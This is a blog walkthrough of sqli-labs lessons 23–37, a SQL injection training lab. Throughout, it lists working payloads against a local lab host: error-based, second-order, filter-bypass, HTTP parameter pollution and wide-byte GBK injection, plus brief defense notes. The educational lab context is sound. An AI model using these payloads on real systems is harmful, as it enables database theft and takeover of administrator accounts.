Loading

sqli-labs(23-37)

23 没有注释的报错注入

首先正常登入查看回显,会有两个点,name和pass,所以思路是想着union

然后测试闭合方式 ID:1' --》报错 ID:1" --》不报错 所以是单引号闭合变量 验证一下 ID:1" and 1=1 --》不报错正常回显 ID:1" and 1=2 --》不报错正常回显 ID:1' and 1=1 --》报错 ID:1' and '1'='1--》不报错正常回显 所以确实是单引号闭合 后来带注释去做,一直卡住,看了源码才知道ban了#--

那就没办法用union注入了
所以是利用报错注入 ID:1' and extractvalue(1,concat(0x7e,(select user()))) and '1

24 二次注入

passchange页面中对username的检查不严格

通过注册一个账户名为admin'#的账户

以此账户更改密码即可改admin用户的密码

25

过滤了or和and
payload:http://sql.test/Less-25/?id=0%27union%20select%201,user(),3--+

25-a

payload:http://sql.test/Less-25a/?id=0%20union%20select%201,user(),3--+
payload:http://sql.test/Less-25a/?id=0||1=1--+

26 对注释的禁用


利用报错
payload:http://sql.test/Less-26/?id=0%27||extractvalue(1,concat(0x7e,(select(user()))))||%270

26-a 对注释和空格禁用且没有报错返回

那就不用报错,用盲注

payload:http://sql.test/Less-26a/?id=0%27||(user()=%27root@localhost%27)||%270

27


其实报错依然可以使用,只不过selec需要大小写绕一下
payloadhttp://sql.test/Less-27/?id=0%27||extractvalue(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)=%27security%27)))||%27

27A

与27差别在于没有报错所以用盲注
payload:http://sql.test/Less-27a/?id=0%22||substr(database(),1,1)=%27s%27||%22

28


对union select的制裁不够严格,可以用(绕过,
对于spaces正则没有m,所以可以用%0d
payload:http://sql.test/Less-28/?id=0%27)union(select%0d1,database(),%273

28a


28a更简单了。。。
payload:http://sql.test/Less-28a/?id=0%27)unIon(sElect%201,database(),%273

29-31

29 绕过白名单

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}



// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}

	}

}

这里的方法是传入两个id参数,让第一个过白名单,第二个用以sql注入
payload:http://sql.test/Less-29/?id=1&id=%27union%20select%201,database(),3--+

30

与29的差别在于对id多加了双引号
payload:http://sql.test/Less-30/?id=1%22&id=%22union%20select%201,database(),3--+%22

31

与30的差别在于加了括号
payload:http://sql.test/Less-31/?id=1%22&id=0%22)union%20select%201,database(),3--+

32-37 宽字节(addslashes())

推荐文章:https://www.cnblogs.com/zzjdbk/p/12984498.html
gbk编码时多字节编码
利用ascii码大于128的字符结合反引号的去生成一个汉字
payload:http://sql.test/Less-32/?id=0%df%27union%20select%201,database(),3--+

33

同32一样的payload

34 post 宽字节

35

没有引号,也不需要考虑宽字节
payloadhttp://sql.test/Less-35/?id=0%20union%20select%201,database(),3--+asd

36

有引号,考虑宽字节
payloadhttp://sql.test/Less-36/?id=0%df%27union%20select%201,database(),3--+

37 同34

宽字节的防御策略

使用mysql_set_charset(GBK)指定字符集
使用mysql_real_escape_string进行转义(避免iconv函数造成的字符转义反斜杠造成的注入)

这里的37为例

虽然使用了mysql_real_escape_string转义
但是有set gbk
所以关闭这里,就成功避免了宽字节

posted @ 2022-02-27 23:14  雨下整夜z  阅读(61)  评论(0)    收藏  举报